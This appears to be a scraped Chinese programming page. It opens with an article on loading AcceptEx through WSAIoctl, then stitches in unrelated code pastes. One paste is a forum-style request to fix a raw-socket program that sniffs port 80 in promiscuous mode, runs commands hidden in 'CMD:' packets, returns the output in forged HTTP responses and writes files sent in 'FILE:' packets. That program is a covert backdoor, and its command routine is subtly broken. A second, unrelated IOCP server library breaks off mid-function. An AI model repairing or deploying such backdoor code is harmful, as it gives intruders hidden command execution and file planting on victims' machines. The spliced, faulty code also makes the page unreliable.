WSAIoctl函数SIO_GET_EXTENSION_FUNCTION_POINTER参数的意义

本文介绍如何在Winsock2中正确调用高级API,如AcceptEx和GetAcceptExSockaddrs,以提高网络应用性能。通过WSAIoctl获取函数指针,并给出具体的调用示例。

Winsock2的其他供应商不一定会实现AcceptEx函数。同样情况也包括的其他Microsoft的特定APIs如TransmitFile,GetAcceptExSockAddrs以及其他Microsoft将在以后版本的windows里。在运行WinNT和Win2000的系统上,这些APIs在Microsoft提供的DLL(mswsock.dll)里实现,可以通过链接mswsock.lib或者通过WSAioctl的SIO_GET_EXTENSION_FUNCTION_POINTER操作动态调用这些扩展APIs.

未获取函数指针就调用函数(如直接连接mswsock.lib并直接调用AcceptEx)的消耗是很大的,因为AcceptEx 实际上是存在于Winsock2结构体系之外的。每次应用程序常试在服务提供层上(mswsock之上)调用AcceptEx时,都要先通过WSAIoctl获取该函数指针。如果要避免这个很影响性能的操作,应用程序最好是直接从服务提供层通过WSAIoctl先获取这些APIs的指针。

需要注意的是,通过WSAIoctl获取AcceptEx函数指针时,只需要传递给WSAIoctl一个有效的SOCKET即可,该Socket的类型不会影响获取的AcceptEx函数指针。

同理可以获取GetAcceptExSockaddrs函数指针

具体调用方式参看如下代码(详细参看《windows 网络编程第二版》源码第五章):

GUID        guidAcceptEx = WSAID_ACCEPTEX,guidGetAcceptExSockaddrs = WSAID_GETACCEPTEXSOCKADDRS;

 LPFN_ACCEPTEX        lpfnAcceptEx;
    LPFN_GETACCEPTEXSOCKADDRS lpfnGetAcceptExSockaddrs;

  DWORD       bytes;

           //加载AccpetEx函数指针
            rc = WSAIoctl(
                    sockobj->s,
                    SIO_GET_EXTENSION_FUNCTION_POINTER,
                   &guidAcceptEx,
                    sizeof(guidAcceptEx),
                   &lpfnAcceptEx,
                    sizeof(lpfnAcceptEx),
                   &bytes,
                    NULL,
                    NULL
                    );

//加载GetAcceptExSockaddrs函数指针

 rc = WSAIoctl(
                    sockobj->s,
                    SIO_GET_EXTENSION_FUNCTION_POINTER,
                   &guidGetAcceptExSockaddrs,
                    sizeof(guidGetAcceptExSockaddrs),
                   &lpfnGetAcceptExSockaddrs,
                    sizeof(lpfnGetAcceptExSockaddrs),
                   &bytes,
                    NULL,
                    NULL
                    );

#define _CRT_SECURE_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string> #include <process.h> #pragma comment(lib, "ws2_32.lib") // 使用 const 定义常量 const int MAX_PACKET_SIZE = 65536; const int HTTP_PORT = 80; // 手动定义缺失的宏 #ifndef SIO_RCVALL #define IOC_IN 0x80000000 #define IOC_VENDOR 0x18000000 #define _WSAIOW(x,y) (IOC_IN|(x)|(y)) #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #endif #ifndef RCVALL_ON #define RCVALL_ON 1 #endif #pragma pack(push, 1) typedef struct _IP_HEADER { UCHAR ver_ihl; // 版本和头部长度 UCHAR tos; // 服务类型 USHORT tot_len; // 总长度 USHORT id; // 标识符 USHORT frag_off; // 分片偏移 UCHAR ttl; // 生存时间 UCHAR protocol; // 协议类型 USHORT check; // 校验和 ULONG saddr; // 源地址 ULONG daddr; // 目的地址 } IP_HEADER; typedef struct _TCP_HEADER { USHORT src_port; // 源端口 USHORT dst_port; // 目的端口 ULONG seq_num; // 序列号 ULONG ack_num; // 确认号 UCHAR data_offset; // 数据偏移 UCHAR flags; // 标志位 USHORT window; // 窗口大小 USHORT checksum; // 校验和 USHORT urg_ptr; // 紧急指针 } TCP_HEADER; #pragma pack(pop) // 校验和计算函数 USHORT checksum(USHORT* buffer, int size) { ULONG cksum = 0; while (size > 1) { cksum += *buffer++; size -= static_cast<int>(sizeof(USHORT)); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return static_cast<USHORT>(~cksum); } // 命令执行函数 void execute_command(const char* cmd, char* output, size_t output_size) { FILE* fp; if (fopen_s(&fp, cmd, "r") == 0 && fp) { if (fgets(output, static_cast<int>(output_size), fp) == NULL) { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } _pclose(fp); } else { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } } int main() { WSADATA wsa; SOCKET sock; DWORD flag = RCVALL_ON; struct sockaddr_in saddr; char buffer[MAX_PACKET_SIZE]; // 初始化Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // 创建原始套接字 sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 设置端口复用 int opt = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<char*>(&opt), sizeof(opt)) == SOCKET_ERROR) { printf("SO_REUSEADDR failed: %d\n", WSAGetLastError()); } // 绑定80端口 memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(HTTP_PORT); saddr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, reinterpret_cast<SOCKADDR*>(&saddr), sizeof(saddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } // 设置混杂模式 DWORD bytesRet; if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag), NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) { printf("WSAIoctl failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("[+] Server listening on port 80...\n"); printf("[!] Note: This program requires administrator privileges to run\n"); while (true) { int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0); if (ret <= 0) continue; IP_HEADER* iph = reinterpret_cast<IP_HEADER*>(buffer); if (iph->protocol != IPPROTO_TCP) continue; TCP_HEADER* tcph = reinterpret_cast<TCP_HEADER*>( buffer + (iph->ver_ihl & 0x0F) * 4); if (ntohs(tcph->dst_port) != HTTP_PORT) continue; char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4; int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4); if (payload_len > 0) { // 命令执行功能 if (strncmp(payload, "CMD:", 4) == 0) { char cmd_output[1024]; execute_command(payload + 4, cmd_output, sizeof(cmd_output)); printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output); // 构造响应包 char resp_packet[1500]; IP_HEADER* resp_ip = reinterpret_cast<IP_HEADER*>(resp_packet); TCP_HEADER* resp_tcp = reinterpret_cast<TCP_HEADER*>(resp_packet + sizeof(IP_HEADER)); // 填充IP头 memcpy(resp_ip, iph, sizeof(IP_HEADER)); resp_ip->saddr = iph->daddr; resp_ip->daddr = iph->saddr; resp_ip->tot_len = htons(static_cast<u_short>( sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(cmd_output) + 40)); resp_ip->check = 0; // 填充TCP头 resp_tcp->src_port = tcph->dst_port; resp_tcp->dst_port = tcph->src_port; resp_tcp->seq_num = htonl(ntohl(tcph->ack_num)); resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len); resp_tcp->data_offset = 0x50; resp_tcp->flags = 0x18; resp_tcp->window = htons(64240); resp_tcp->checksum = 0; // 填充HTTP响应头 char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); size_t cmd_len = strlen(cmd_output); int len = sprintf_s(resp_payload, sizeof(resp_packet) - sizeof(IP_HEADER) - sizeof(TCP_HEADER), "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s", cmd_len, cmd_output); // 计算TCP校验和 - 使用动态内存分配解决C2131错误 char pseudo_header[12]; memcpy(pseudo_header, &resp_ip->saddr, 4); memcpy(pseudo_header + 4, &resp_ip->daddr, 4); pseudo_header[8] = 0; pseudo_header[9] = IPPROTO_TCP; *reinterpret_cast<USHORT*>(pseudo_header + 10) = htons(static_cast<u_short>(sizeof(TCP_HEADER) + len)); // 动态分配内存替代固定大小数组 char* tcp_segment = new char[sizeof(TCP_HEADER) + len]; memcpy(tcp_segment, resp_tcp, sizeof(TCP_HEADER)); memcpy(tcp_segment + sizeof(TCP_HEADER), resp_payload, len); USHORT tcp_len = static_cast<USHORT>(sizeof(TCP_HEADER) + len); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(pseudo_header), 12); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(tcp_segment), tcp_len); // 释放动态分配的内存 delete[] tcp_segment; // 发送响应 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = resp_ip->daddr; sendto(sock, resp_packet, static_cast<int>(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + len), 0, reinterpret_cast<SOCKADDR*>(&dest), sizeof(dest)); } // 文件传输功能 else if (strncmp(payload, "FILE:", 5) == 0) { char filename[256]; const char* space_pos = strchr(payload + 5, ' '); if (space_pos) { ptrdiff_t name_len = space_pos - (payload + 5); if (name_len < sizeof(filename)) { strncpy_s(filename, sizeof(filename), payload + 5, static_cast<size_t>(name_len)); filename[name_len] = '\0'; printf("[+] Receiving file: %s\n", filename); FILE* fp; if (fopen_s(&fp, filename, "wb") == 0 && fp) { size_t data_len = static_cast<size_t>( payload_len - 6 - static_cast<int>(name_len)); fwrite(space_pos + 1, 1, data_len, fp); fclose(fp); printf("[+] File saved successfully\n"); } else { printf("[-] Failed to open file for writing\n"); } } } else { printf("[-] Invalid FILE command format\n"); } } } } closesocket(sock); WSACleanup(); return 0; } 该程序运行后报错:WSAIoctl failed: 10022 解决报错,给出修改后的完整程序
08-19
#pragma once #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <mswsock.h> #include <vector> #include <memory> #include <functional> #include <string> #include <iostream> #include <mutex> #include <unordered_map> #include <atomic> #include <thread> #include <queue> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "mswsock.lib") namespace IOCP2 { //定义常量 constexpr int BUFFER_SIZE = 4096; //定义IO操作类型 enum IO_OPERATION{ ACCEPT, READ, WRITE }; //节点类型 enum NODE_TYPE { NODE, SERVER, CLIENT }; /** * I/O上下文数据============================================================================= */ class IOContext { public: //该I/O操作唯一标识符,相同的I/O操作,参数的地址相同,通过 GetQueuedCompletionStatus返回的 LPOVERLAPPED可反向获取 IOContext: OVERLAPPED m_overlapped; //描述数据缓冲区的信息,用于 WSARecv和 WSASend。 WSABUF m_dataBuf; //I/O操作类型 IO_OPERATION m_operation; //缓冲区数据 char m_buffer[BUFFER_SIZE]; SOCKET m_socket; public: IOContext() { ZeroMemory(&this->m_overlapped,sizeof(OVERLAPPED)); this->m_dataBuf.len = BUFFER_SIZE; this->m_dataBuf.buf = this->m_buffer; this->m_operation = IO_OPERATION::READ; this->m_socket = INVALID_SOCKET; } ~IOContext(){} /** * * @param other * @return */ bool operator == (const IOContext& other) { return &this->m_overlapped == &other.m_overlapped; } /** * * @param other * @return */ bool operator != (const IOContext& other) { return &this->m_overlapped != &other.m_overlapped; } }; /** * 套接字控制工具,用于调用Windows扩展功能======================================================= */ class WSAIoctlTool { private: //服务器接收链接函数地址 static GUID guidAcceptEx; //获取接受到的链接地址的函数的地址 static GUID guidGetAcceptExSockaddrs; private: /** * * @tparam FUNC_POINTERE * @param targetSocket * @param funcGuID * @param funcPointer * @return */ template<typename FUNC_POINTERE> static bool WSAIoctlFun(SOCKET& targetSocket,GUID& funcGuID, FUNC_POINTERE& funcPointer) { DWORD bytesReceived; return WSAIoctl( targetSocket, SIO_GET_EXTENSION_FUNCTION_POINTER, &funcGuID, sizeof(funcGuID), &funcPointer, sizeof(funcPointer), &bytesReceived, nullptr, nullptr) != SOCKET_ERROR; } public: /** *异步接收套接字连接 * @param sListenSocket 监听 socket(bind+ listen后的 socket) * @param sAcceptSocket 预先创建的 socket,用于接受新连接 * @param lpOutputBuffer 接收数据的缓冲区,同时包含本地和远程地址信息 * @param lpdwBytesReceived 返回实际接收的字节数(仅在同步操作时有效) * @param lpOverlapped 用于异步操作的 OVERLAPPED结构 * @return */ static bool acceptExFun(SOCKET sListenSocket,SOCKET sAcceptSocket,PVOID lpOutputBuffer, LPDWORD lpdwBytesReceived,LPOVERLAPPED lpOverlapped) { LPFN_ACCEPTEX lpAcceptEx = nullptr; if (!WSAIoctlTool::WSAIoctlFun(sListenSocket,WSAIoctlTool::guidAcceptEx,lpAcceptEx)) return false; return lpAcceptEx(sListenSocket,sAcceptSocket,lpOutputBuffer,0,sizeof(sockaddr_in)+16,sizeof(sockaddr_in)+16,lpdwBytesReceived,lpOverlapped) != FALSE; } /** *获取连接的地址 * @param sAcceptSocket //AcceptEx的套接字 * @param lpOutputBuffer //AcceptEx 返回的缓冲区 * @return ip:port */ static std::string GetAcceptExSockaddrsFun(SOCKET sAcceptSocket, PVOID lpOutputBuffer) { LPFN_GETACCEPTEXSOCKADDRS lpGetAcceptExSockaddrs = nullptr; //获取客户端地址信息 sockaddr_in* localAddr = nullptr; sockaddr_in* remoteAddr = nullptr; int localAddrLen = 0; int remoteAddrLen = 0; constexpr const int addressBufferSize = sizeof(sockaddr_in) + 16; if (!WSAIoctlTool::WSAIoctlFun(sAcceptSocket,WSAIoctlTool::guidGetAcceptExSockaddrs,lpGetAcceptExSockaddrs)) return NULL; //使用使用GetAcceptExSockaddrs获取地址信息 lpGetAcceptExSockaddrs(lpOutputBuffer,0,addressBufferSize, addressBufferSize, (sockaddr**)&localAddr, &localAddrLen, (sockaddr**)&remoteAddr, &remoteAddrLen); char clientIP[INET_ADDRSTRLEN]; inet_ntop(AF_INET,&(remoteAddr->sin_addr),clientIP,INET_ADDRSTRLEN); unsigned short clientPort = ntohs(remoteAddr->sin_port); return std::string(clientIP,INET_ADDRSTRLEN)+":"+std::to_string(clientPort); } }; class RemoteNodesData; /** * 节点Socket上下文数据======================================================================= */ class NodeSocketContextData { private: SOCKET m_socket; std::string m_IPPortStr; std::shared_ptr<IOContext> m_readContext; //void指针存储overlapped地址,overlapped地址一样说明是同一个I/O操作 std::unordered_map<void*,std::shared_ptr<IOContext>> m_writeContexts; private: /** * * @param context */ void deleteReadContext(std::shared_ptr<IOContext>& context) { //不是同一个cosntext if (&this->m_readContext.get()->m_overlapped != &context->m_overlapped) return; this->m_readContext.reset(); } /** * * @param context */ void setWriteContext(std::shared_ptr<IOContext>& context) { this->m_writeContexts[&context->m_overlapped] = context; } /** * * @param context */ void setReadContext(std::shared_ptr<IOContext>& context) { this->m_readContext = context; } /** * * @param context */ void deleteWriteContext(std::shared_ptr<IOContext>& context) { this->m_writeContexts.erase(&context->m_overlapped); } public: NodeSocketContextData() { this->m_socket = INVALID_SOCKET; this->m_IPPortStr = ""; this->m_readContext = nullptr; } /** * * @param ipPortStr * @param socket */ NodeSocketContextData(const std::string& ipPortStr,SOCKET& socket) { this->m_socket = socket; this->m_IPPortStr = ipPortStr; } ~NodeSocketContextData() { this->m_writeContexts.clear(); } /** * * @return */ std::string& getIPPortStr() { return this->m_IPPortStr; } /** * * @return */ SOCKET& getSocket() { return this->m_socket; } /** * * @param socket */ void setSocket(SOCKET& socket) { this->m_socket = socket; } public: friend class RemoteNodesData; }; /** * 远程节点数据=============================================================================== */ class RemoteNodesData { private: std::unordered_map<std::string, std::shared_ptr<NodeSocketContextData>> m_remoteNodes; std::unordered_map<SOCKET,std::string> m_remoteNodesSocketIPPortStrMap; std::mutex m_remoteNodesMx; public: RemoteNodesData() {} ~RemoteNodesData() {} /** * 是否存在节点 * @param socket * @return */ bool hashNode(SOCKET& socket) { auto it = this->m_remoteNodesSocketIPPortStrMap.find(socket); return it != this->m_remoteNodesSocketIPPortStrMap.end(); } /** * 是否存在该节点 * @param IPPortStr * @return */ bool hashNode(const std::string& IPPortStr) { auto it = this->m_remoteNodes.find(IPPortStr); return it != this->m_remoteNodes.end(); } /** * * @param IPPortStr * @return */ SOCKET getNodeSocketByIPPortStr(std::string& IPPortStr) { auto it = this->m_remoteNodes.find(IPPortStr); if (it == this->m_remoteNodes.end()) return INVALID_SOCKET; return it->second->getSocket(); } /** * * @param remoteNode */ void addRemoteNode(std::shared_ptr<NodeSocketContextData>& remoteNode) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); if (remoteNode.get() == nullptr || remoteNode.get()->getIPPortStr() == "" || remoteNode.get()->getSocket() == INVALID_SOCKET) return; this->m_remoteNodesSocketIPPortStrMap[remoteNode.get()->getSocket()] = remoteNode.get()->getIPPortStr(); this->m_remoteNodes[remoteNode.get()->getIPPortStr()] = remoteNode; } /** * 调用此函数会清除Socket * @param ipPortStr */ void deleteRemeoteNodesByIPPortStr(const std::string& ipPortStr) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); if (ipPortStr == "" || ipPortStr.empty()) return; auto it = this->m_remoteNodes.find(ipPortStr); //不存在该节点数据 if (it == this->m_remoteNodes.end()) return; SOCKET socket = it->second.get()->getSocket(); this->m_remoteNodesSocketIPPortStrMap.erase(socket); this->m_remoteNodes.erase(it); //清除Socket closesocket(socket); } /** * 调用此函数会清除Socket * @param socket */ void deleteRemeoteNodesBySocket(SOCKET& socket) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); if (socket == INVALID_SOCKET) return; auto it = this->m_remoteNodesSocketIPPortStrMap.find(socket); //不存在该节点数据 if (it == this->m_remoteNodesSocketIPPortStrMap.end()) return; this->m_remoteNodes.erase(it->second); this->m_remoteNodesSocketIPPortStrMap.erase(it); //清除Socket closesocket(socket); } /** * * @param context */ void addRemeoteNodeReadContext(std::shared_ptr<IOContext> & context) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); if (context.get()->m_socket == INVALID_SOCKET) return; auto it = this->m_remoteNodesSocketIPPortStrMap.find(context->m_socket); //该socket对应的节点数据不存在 if (it == this->m_remoteNodesSocketIPPortStrMap.end()) return; this->m_remoteNodes[it->second]->setReadContext(context); } /** * * @param context */ void deleteRemeoteNodeReadContext(std::shared_ptr<IOContext> & context) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); if (context.get()->m_socket == INVALID_SOCKET) return; auto it = this->m_remoteNodesSocketIPPortStrMap.find(context->m_socket); //该socket对应的节点数据不存在 if (it == this->m_remoteNodesSocketIPPortStrMap.end()) return; this->m_remoteNodes[it->second]->deleteReadContext(context); } /** * * @param context */ void addRemeoteNodeWriteContext(std::shared_ptr<IOContext> & context) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); if (context.get()->m_socket == INVALID_SOCKET) return; auto it = this->m_remoteNodesSocketIPPortStrMap.find(context->m_socket); //该socket对应的节点数据不存在 if (it == this->m_remoteNodesSocketIPPortStrMap.end()) return; this->m_remoteNodes[it->second]->setWriteContext(context); } /** * * @param context */ void deleteRemeoteNodeWriteContext(std::shared_ptr<IOContext> & context) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); if (context.get()->m_socket == INVALID_SOCKET) return; auto it = this->m_remoteNodesSocketIPPortStrMap.find(context->m_socket); //该socket对应的节点数据不存在 if (it == this->m_remoteNodesSocketIPPortStrMap.end()) return; this->m_remoteNodes[it->second]->deleteWriteContext(context); } /** * 遍历处理节点 * @param handleFun 传入的处理函数 返回false退出循环 返回true退出循环 */ void traverseHandleNodes(std::function<bool(std::shared_ptr<NodeSocketContextData>&)> handleFun) { std::lock_guard<std::mutex> lock(this->m_remoteNodesMx); for (auto& pair : this->m_remoteNodes) if (!handleFun(pair.second)) return; } /** * 清除数据 */ void clear() { this->m_remoteNodesSocketIPPortStrMap.clear(); this->m_remoteNodes.clear(); } }; /** * 预备服务器信息============================================================================== */ class PrePareServerInformation { public: int m_port; const char* m_IP; public: /** * * @param IP * @param port */ PrePareServerInformation(const char* IP , int port) { this->m_port = port; this->m_IP = IP; } ~PrePareServerInformation(){} }; /** * 节点接口================================================================================ */ class NodeInterface { protected: HANDLE m_iocpHandle; std::vector<std::thread> m_workerThreads; size_t m_maxConcurrentThreads = 1;//线程数 std::atomic<bool> m_running; static std::unordered_map<NODE_TYPE,const std::string> ipPortStrMap; //回调函数 std::function<void(SOCKET)> m_onConnected = NULL; std::function<void(SOCKET)> m_onDisconnected = NULL; std::function<void(SOCKET,const char*,int)> m_onDataReceived = NULL; //远程节点数据 RemoteNodesData m_remoteNodesData; static std::mutex handleErrorMx; //注册IOContext上下文Map,需要new新IOcontext时的登记列表 std::unordered_map<void*,std::shared_ptr<IOContext>> m_registerIOContexts; std::mutex m_registerIOContextsMx; protected: /** * * @return */ virtual NODE_TYPE getNodeType() {} /** * 跳转处理函数 * @param context * @param bytesTransferred */ virtual void jumpHandleFun(std::shared_ptr<IOContext>& context ,DWORD bytesTransferred ){} /** * 启动回调函数 */ virtual void startCallBackFun() {} /** * 关闭回调函数 */ virtual void shutDownCallBackFun() {} /** * * @return */ const std::string& getNodeTypeStr() { return NodeInterface::ipPortStrMap[this->getNodeType()]; } /** * 注册上下文 * @param socket * @param IOOperation */ void registerIOContext(SOCKET socket, IO_OPERATION IOOperation) { if (socket == INVALID_SOCKET) return; IOContext* context = new IOContext(); context->m_operation = IOOperation; context->m_socket = socket; this->m_registerIOContexts[&context->m_overlapped] = std::shared_ptr<IOContext>(context); } /** * 注册上下文 * @return */ std::shared_ptr<IOContext> registerIOContext() { std::shared_ptr<IOContext> context(new IOContext()); std::cout << "Register IOContext = " << &context<< std::endl; this->m_registerIOContexts[&context.get()->m_overlapped] = context; return context; } /** * * @param context */ void registerIOContext(std::shared_ptr<IOContext>& context) { this->m_registerIOContexts[&context.get()->m_overlapped] = context; } /** * * @param overlappedAddress */ void deleteRegisterIOContext(void* overlappedAddress) { auto it = this->m_registerIOContexts.find(overlappedAddress); if (it == this->m_registerIOContexts.end()) return; std::lock_guard<std::mutex> lock(this->m_registerIOContextsMx); std::cout << "Delete RegisterIOContext" << std::endl; it = this->m_registerIOContexts.find(overlappedAddress); if (it == this->m_registerIOContexts.end()) return; this->m_registerIOContexts.erase(it); } /** * * @param overlappedAddress * @return */ std::shared_ptr<IOContext> getRegisterIOContext(void* overlappedAddress) { auto it = this->m_registerIOContexts.find(overlappedAddress); if (it == this->m_registerIOContexts.end()) return nullptr; return it->second; } /** * * @param message * @param fatal */ void handleError(const char* message, bool fatal = false) { std::lock_guard<std::mutex> lock(NodeInterface::handleErrorMx); DWORD error = WSAGetLastError(); std::string nodeTypeStr = this->getNodeTypeStr()+":"; std::string str= error == 0 ? "Unknown" : strerror( error ); std::cout <<nodeTypeStr<< message << " failed with error" << error << ":" << str << std::endl; if (!fatal) return; WSACleanup(); ExitProcess(1); } /** * * @param socket */ void closeSocket(SOCKET& socket) { if (this->m_onDisconnected != NULL) this->m_onDisconnected(socket); this->m_remoteNodesData.deleteRemeoteNodesBySocket(socket); } /** * * @param context */ void postRead(std::shared_ptr<IOContext>& context) { DWORD flags = 0; DWORD bytesRead; context.get()->m_operation = IO_OPERATION::READ; if (WSARecv( context.get()->m_socket, &context.get()->m_dataBuf, 1, &bytesRead, &flags, &context.get()->m_overlapped, NULL) == SOCKET_ERROR) { DWORD error = WSAGetLastError(); if (error != ERROR_IO_PENDING) { this->handleError("WSARecv"); this->closeSocket(context.get()->m_socket); } } } /** * * @param IP * @param port * @param data * @param length */ void postWrite(const char* IP, int port, const char* data, int length) { std::string IPPortStr = std::string(IP) + ":" + std::to_string(port); //不存在该节点 if (!this->m_remoteNodesData.hashNode(IPPortStr)) return; //注册上下文 std::shared_ptr<IOContext> writeContext = this->registerIOContext(); writeContext.get()->m_socket = this->m_remoteNodesData.getNodeSocketByIPPortStr(IPPortStr); writeContext.get()->m_operation = IO_OPERATION::WRITE; memcpy(writeContext.get()->m_buffer,data,length); writeContext.get()->m_dataBuf.len = length; DWORD bytesSent; if (WSASend( writeContext.get()->m_socket, &writeContext.get()->m_dataBuf, 1, &bytesSent, 0, &writeContext.get()->m_overlapped, NULL) == SOCKET_ERROR) { DWORD error = WSAGetLastError(); if (error != WSA_IO_PENDING) { handleError("WSASend"); this->closeSocket(writeContext.get()->m_socket); return; } } //加入节点读写上下文 this->m_remoteNodesData.addRemeoteNodeWriteContext(writeContext); } /** * * @param socket * @param data * @param length */ void postWrite(SOCKET socket, const char* data, int length) { //Socket为空 if (socket == INVALID_SOCKET) return; //注册上下文 std::shared_ptr<IOContext> writeContext = this->registerIOContext(); writeContext.get()->m_socket = socket; writeContext.get()->m_operation = IO_OPERATION::WRITE; memcpy(writeContext.get()->m_buffer,data,length); writeContext.get()->m_dataBuf.len = length; DWORD bytesSent; if (WSASend( writeContext.get()->m_socket, &writeContext.get()->m_dataBuf, 1, &bytesSent, 0, &writeContext.get()->m_overlapped, NULL) == SOCKET_ERROR) { DWORD error = WSAGetLastError(); if (error != WSA_IO_PENDING) { handleError("WSASend"); this->closeSocket(writeContext.get()->m_socket); this->deleteRegisterIOContext(&writeContext.get()->m_overlapped); return; } } //加入节点读写上下文 this->m_remoteNodesData.addRemeoteNodeWriteContext(writeContext); } /** * 处理读操作 * @param context * @param bytesTransfered */ void handleRead(std::shared_ptr<IOContext>& context, DWORD bytesTransferred) { //客户端断开连接 if (bytesTransferred == 0) { this->closeSocket(context.get()->m_socket); return; } if (this->m_onDataReceived != NULL) { this->m_onDataReceived(context.get()->m_socket,context.get()->m_buffer,bytesTransferred); } //继续投递读操作 this->postRead(context); } /** * * @param context * @param bytesTransferred */ void handleWrite(std::shared_ptr<IOContext>& context, DWORD bytesTransferred) { if (!context) return; this->deleteRegisterIOContext(&context.get()->m_overlapped); //写入完成,释放上下文 this->m_remoteNodesData.deleteRemeoteNodeWriteContext(context); //context.reset(); } /** * 工作线程 */ void workerThread() { DWORD bytesTransferred; ULONG_PTR completionKey; LPOVERLAPPED overlapped; while (this->m_running) { std::cout << this->getNodeTypeStr() << "等待I/O端口返回=========" << std::endl; BOOL result = GetQueuedCompletionStatus(this->m_iocpHandle,&bytesTransferred,&completionKey,&overlapped,INFINITE); std::cout << this->getNodeTypeStr() << "I/O端口返回数据=========" << std::endl; //处理错误或者超时 if (!result) { DWORD error = GetLastError(); //超时 if (overlapped == NULL && error == WAIT_TIMEOUT) continue; if (error != WAIT_TIMEOUT && error != ERROR_NETNAME_DELETED) this->handleError("GetQueuedCompletionStatus"); //客户端断开连接 if (overlapped != NULL) { //获取注册的上下文 std::shared_ptr<IOContext> context = this->getRegisterIOContext(overlapped); if (context == nullptr) continue; if (context.get()->m_operation == IO_OPERATION::READ || context.get()->m_operation == IO_OPERATION::WRITE) this->closeSocket(context.get()->m_socket); } continue; } //收到退出信号 if (bytesTransferred == 0 && completionKey == NULL && overlapped == NULL) break; //获取注册的上下文 std::shared_ptr<IOContext> context = this->getRegisterIOContext(overlapped); if (context == nullptr) continue; this->jumpHandleFun(context,bytesTransferred); } } public: void setOnConnected(std::function<void(SOCKET)> callback) {this->m_onConnected = callback;} void setOnDisconnected(std::function<void(SOCKET)> callback) {this->m_onDisconnected = callback;} void setOnDataReceived(std::function<void(SOCKET,const char* ,int)> callback){this->m_onDataReceived =callback;} /** * 启动节点 */ void start() { //已经启动 if (this->m_running) return; this->startCallBackFun(); //启动失败 if (!this->m_running) return; std::cout << this->getNodeTypeStr() << ":startCallBackFun is runned!" << std::endl; //join线程 for (std::thread& worker : this->m_workerThreads) if (worker.joinable())worker.join(); } /** * 关闭节点 */ void shutDown() { if (!this->m_running) return; this->m_running = false; //关闭所有远程节点的Socket auto closeSocketFun = [](std::shared_ptr<NodeSocketContextData>& remoteNode)->bool { if(remoteNode->getSocket() == INVALID_SOCKET) return true; //关闭socket closesocket(remoteNode.get()->getSocket()); return true; }; //封装遍历处理函数 //传入遍历处理远程节点数据函数 this->m_remoteNodesData.traverseHandleNodes(closeSocketFun); //清除远程节点数据 this->m_remoteNodesData.clear(); //关闭IOCP句柄 if (this->m_iocpHandle != NULL) { CloseHandle(this->m_iocpHandle); this->m_iocpHandle = NULL; } //调用节点关闭回调函数 this->shutDownCallBackFun(); //唤醒所有工作线程, 发送退出信号 for (size_t i = 0; i < this->m_workerThreads.size();i++) PostQueuedCompletionStatus(this->m_iocpHandle,0,(ULONG_PTR)NULL,NULL); //等待所有工作线程 for (std::thread& thred:this->m_workerThreads) if (thred.joinable()) thred.join(); this->m_workerThreads.clear(); WSACleanup(); } /** * * @param IP * @param port * @param message */ void send(const char* IP, int port, const char* message) { if (!this->m_running) return; this->postWrite(IP,port,message,strlen(message)); } /** * * @param socket * @param message */ void send(SOCKET socket, const char* message) { if (!this->m_running) return; this->postWrite(socket,message,strlen(message)); } NodeInterface() {} virtual ~NodeInterface() {} }; /** * 服务器================================================================================== */ class Server: public NodeInterface { private: int m_port; SOCKET m_listenSocket; //static constexpr不需要类外定义 static constexpr NODE_TYPE nodeType = IOCP2::NODE_TYPE::SERVER; private: /** * 投递新的接收连接操作 */ void postAccept() { SOCKET clientSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED); if (clientSocket == INVALID_SOCKET) { this->handleError("WSASocket for accept"); return; } //注册上下文,防止上下文被析构 std::shared_ptr<IOContext> context = this->registerIOContext(); context.get()->m_operation = IO_OPERATION::ACCEPT; context.get()->m_socket = clientSocket; DWORD bytesReceived; //接收连接 if (!WSAIoctlTool::acceptExFun( this->m_listenSocket, clientSocket, context.get()->m_buffer, &bytesReceived, &context.get()->m_overlapped)) { DWORD error = WSAGetLastError(); if (error == ERROR_IO_PENDING) return; this->handleError("AcceptEx"); //删除注册上下文 this->deleteRegisterIOContext(&context.get()->m_overlapped); 